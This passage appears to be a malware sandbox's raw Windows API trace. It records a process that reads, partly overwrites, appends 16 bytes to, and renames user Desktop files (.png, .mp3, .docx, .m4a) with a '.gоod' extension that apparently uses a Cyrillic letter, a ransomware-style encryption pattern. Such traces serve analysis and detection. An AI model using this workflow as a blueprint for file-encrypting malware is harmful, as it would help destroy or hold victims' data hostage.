lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0221.799] CloseHandle (hObject=0x860) returned 1 [0221.799] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", lpFilePart=0x0) returned 0x2f [0221.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0221.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\i_ae6b s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0221.800] GetFileType (hFile=0x860) returned 0x1 [0221.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0221.800] GetFileType (hFile=0x860) returned 0x1 [0221.800] WriteFile (in: hFile=0x860, lpBuffer=0x37e5bb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x37e5bb0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0221.800] CloseHandle (hObject=0x860) returned 1 [0221.800] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png", lpFilePart=0x0) returned 0x2f [0221.800] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png.gоod", lpFilePart=0x0) returned 0x34 [0221.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0221.800] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\i_ae6b s.png"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ae0c30, ftCreationTime.dwHighDateTime=0x1d4c782, ftLastAccessTime.dwLowDateTime=0xca3868c0, ftLastAccessTime.dwHighDateTime=0x1d4c61e, ftLastWriteTime.dwLowDateTime=0x806a5cfd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10120)) returned 1 [0221.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0221.800] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\i_ae6b s.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\i_aE6B s.png.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\i_ae6b s.png.gоod")) returned 1 [0221.801] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", lpFilePart=0x0) returned 0x30 [0221.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0221.801] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\m76zbtor1.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3863168 | out: lpFileInformation=0x3863168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43259c0, ftCreationTime.dwHighDateTime=0x1d4cb5e, ftLastAccessTime.dwLowDateTime=0x2f542410, ftLastAccessTime.dwHighDateTime=0x1d4cf25, ftLastWriteTime.dwLowDateTime=0x2f542410, ftLastWriteTime.dwHighDateTime=0x1d4cf25, nFileSizeHigh=0x0, nFileSizeLow=0xdd64)) returned 1 [0221.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0221.801] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", lpFilePart=0x0) returned 0x30 [0221.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0221.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\m76zbtor1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0221.802] GetFileType (hFile=0x860) returned 0x1 [0221.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0221.802] GetFileType (hFile=0x860) returned 0x1 [0221.802] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0221.802] ReadFile (in: hFile=0x860, lpBuffer=0x3863530, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3863530*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0221.803] CloseHandle (hObject=0x860) returned 1 [0221.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", lpFilePart=0x0) returned 0x30 [0221.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0221.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\m76zbtor1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0221.803] GetFileType (hFile=0x860) returned 0x1 [0221.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0221.803] GetFileType (hFile=0x860) returned 0x1 [0221.803] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xdd64 [0221.803] WriteFile (in: hFile=0x860, lpBuffer=0x38647a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x38647a0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0221.804] CloseHandle (hObject=0x860) returned 1 [0221.804] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", lpFilePart=0x0) returned 0x30 [0221.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0221.804] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\m76zbtor1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0221.804] GetFileType (hFile=0x860) returned 0x1 [0221.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0221.804] GetFileType (hFile=0x860) returned 0x1 [0221.804] ReadFile (in: hFile=0x860, lpBuffer=0x3866a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3866a38*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0222.909] CloseHandle (hObject=0x860) returned 1 [0222.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", lpFilePart=0x0) returned 0x30 [0222.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0222.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\m76zbtor1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0222.909] GetFileType (hFile=0x860) returned 0x1 [0222.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0222.910] GetFileType (hFile=0x860) returned 0x1 [0222.910] WriteFile (in: hFile=0x860, lpBuffer=0x3470fe0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3470fe0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0222.910] CloseHandle (hObject=0x860) returned 1 [0224.152] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3", lpFilePart=0x0) returned 0x30 [0224.152] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3.gоod", lpFilePart=0x0) returned 0x35 [0224.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0224.152] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\m76zbtor1.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43259c0, ftCreationTime.dwHighDateTime=0x1d4cb5e, ftLastAccessTime.dwLowDateTime=0x2f542410, ftLastAccessTime.dwHighDateTime=0x1d4cf25, ftLastWriteTime.dwLowDateTime=0x8113a644, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdd74)) returned 1 [0224.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0224.152] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\m76zbtor1.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\M76zbtOR1.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\m76zbtor1.mp3.gоod")) returned 1 [0224.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", lpFilePart=0x0) returned 0x38 [0224.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0224.154] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\mk5zqs9azyhmv9gc.docx"), fInfoLevelId=0x0, lpFileInformation=0x36f39e8 | out: lpFileInformation=0x36f39e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f06c870, ftCreationTime.dwHighDateTime=0x1d4d449, ftLastAccessTime.dwLowDateTime=0x668d1e90, ftLastAccessTime.dwHighDateTime=0x1d4d16a, ftLastWriteTime.dwLowDateTime=0x668d1e90, ftLastWriteTime.dwHighDateTime=0x1d4d16a, nFileSizeHigh=0x0, nFileSizeLow=0x118a5)) returned 1 [0224.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0224.154] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", lpFilePart=0x0) returned 0x38 [0224.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0224.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\mk5zqs9azyhmv9gc.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0224.154] GetFileType (hFile=0x768) returned 0x1 [0224.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0224.154] GetFileType (hFile=0x768) returned 0x1 [0224.154] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0224.154] ReadFile (in: hFile=0x768, lpBuffer=0x36f3df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x36f3df0*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0224.155] CloseHandle (hObject=0x768) returned 1 [0224.155] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", lpFilePart=0x0) returned 0x38 [0224.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0224.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\mk5zqs9azyhmv9gc.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0224.155] GetFileType (hFile=0x768) returned 0x1 [0224.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0224.156] GetFileType (hFile=0x768) returned 0x1 [0224.156] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x118a5 [0224.156] WriteFile (in: hFile=0x768, lpBuffer=0x36f5080*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x36f5080*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0224.156] CloseHandle (hObject=0x768) returned 1 [0224.156] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", lpFilePart=0x0) returned 0x38 [0224.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0224.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\mk5zqs9azyhmv9gc.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0224.156] GetFileType (hFile=0x768) returned 0x1 [0224.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0224.156] GetFileType (hFile=0x768) returned 0x1 [0224.156] ReadFile (in: hFile=0x768, lpBuffer=0x36f7338, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x36f7338*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0224.249] CloseHandle (hObject=0x768) returned 1 [0224.249] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", lpFilePart=0x0) returned 0x38 [0224.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0224.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\mk5zqs9azyhmv9gc.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0224.250] GetFileType (hFile=0x768) returned 0x1 [0224.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0224.250] GetFileType (hFile=0x768) returned 0x1 [0224.250] WriteFile (in: hFile=0x768, lpBuffer=0x35413e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x35413e8*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0224.250] CloseHandle (hObject=0x768) returned 1 [0224.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx", lpFilePart=0x0) returned 0x38 [0224.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx.gоod", lpFilePart=0x0) returned 0x3d [0224.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0224.250] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\mk5zqs9azyhmv9gc.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f06c870, ftCreationTime.dwHighDateTime=0x1d4d449, ftLastAccessTime.dwLowDateTime=0x668d1e90, ftLastAccessTime.dwHighDateTime=0x1d4d16a, ftLastWriteTime.dwLowDateTime=0x81e0d216, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x118b5)) returned 1 [0224.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0224.250] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\mk5zqs9azyhmv9gc.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\mK5Zqs9azyHMv9Gc.docx.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\mk5zqs9azyhmv9gc.docx.gоod")) returned 1 [0224.251] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", lpFilePart=0x0) returned 0x3a [0224.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0224.251] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\n3fkngx1fzziu0-nugf.m4a"), fInfoLevelId=0x0, lpFileInformation=0x359cb08 | out: lpFileInformation=0x359cb08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2124f10, ftCreationTime.dwHighDateTime=0x1d4d3df, ftLastAccessTime.dwLowDateTime=0x6907a930, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0x6907a930, ftLastWriteTime.dwHighDateTime=0x1d4ceb1, nFileSizeHigh=0x0, nFileSizeLow=0x72bf)) returned 1 [0224.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0224.252] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", lpFilePart=0x0) returned 0x3a [0224.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0224.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\n3fkngx1fzziu0-nugf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0224.252] GetFileType (hFile=0x768) returned 0x1 [0224.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0224.252] GetFileType (hFile=0x768) returned 0x1 [0224.252] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0224.252] ReadFile (in: hFile=0x768, lpBuffer=0x359cf10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x359cf10*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0224.253] CloseHandle (hObject=0x768) returned 1 [0224.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", lpFilePart=0x0) returned 0x3a [0224.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0224.253] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\n3fkngx1fzziu0-nugf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0224.253] GetFileType (hFile=0x768) returned 0x1 [0224.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0224.254] GetFileType (hFile=0x768) returned 0x1 [0224.254] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x72bf [0224.254] WriteFile (in: hFile=0x768, lpBuffer=0x359e1a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x359e1a0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0224.254] CloseHandle (hObject=0x768) returned 1 [0224.254] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a", lpFilePart=0x0) returned 0x3a [0224.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0224.254] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\n3fknGx1fZZiU0-NUgf.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\n3fkngx1fzziu0-nugf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0224.254] GetFileType (hFile=0x768) returned 0x1 [0224.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0224.254] GetFileType (hFile=0x768) returned 0x1 [0224.254] ReadFile (in: hFile=0x768, lpBuffer=0x35a0458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x35a0458*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, 